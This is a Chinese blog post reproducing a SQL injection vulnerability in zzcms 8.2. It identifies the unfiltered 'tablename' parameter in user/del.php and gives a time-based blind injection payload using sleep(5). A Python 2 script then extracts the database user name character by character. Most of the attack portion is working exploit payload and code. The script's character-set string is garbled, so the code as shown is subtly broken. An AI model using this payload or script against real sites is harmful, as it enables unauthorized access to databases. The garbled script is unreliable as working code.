zzcms8.2 sql注入漏洞复现

一.环境搭建

1.下载地址(小伙子下的是产品版的)

http://www.zzcms.net/

2.安装,直接解压到网站根目录下,访问install目录

3.注入点user/del.php分析

在代码第12行,参数通过Post提交

zzcms8.2 sql注入漏洞复现

在代码的136行里,参数tablename没有进行过滤

zzcms8.2 sql注入漏洞复现

我们就是利用这个可控的参数进行注入

4.payload构造

这里是一个删除页面,所以必须要有东西存在才会触发,这里小伙子先发布一个代理,让这个东西是存在的

zzcms8.2 sql注入漏洞复现

通过数据库查看这条数据是属于zzcms_dl这个表的

zzcms8.2 sql注入漏洞复现

现在构造payload如下:

id=1&tablename=zzcms_dl where id = 1 and if(1=1,sleep(5),1)%23

zzcms8.2 sql注入漏洞复现

成功延迟5秒,说明注入点存在

5.由于是延时注入,所以选择利用python小脚本跑,代码如下:
import requests
import time

payloads = '[email protected]_.'    
user = ''
for i in range(1,25):
    url = "http://localhost:6868/user/del.php"
    startTime = time.time()
    post_data = "id=1&tablename=zzcms_dl where id = 1 and if(length(user())=" + str(i) + ",sleep(5),1)%23".encode("utf-8")
    response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
    b=time.time() - startTime
    if b > 5:
        print i
        break
for j in range(1, i+1):
    for payload in payloads:
        url = "http://localhost:6868/user/del.php"
        startTime = time.time()
        post_data = "id=1&tablename=zzcms_dl where id = 1 and if((ascii(substr(user(),"+str(j)+",1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
        response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
        if time.time() - startTime > 5:
            user = user + payload
            print 'user is:', user

            break           

注:这里只写了爆当前用户的脚本


感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!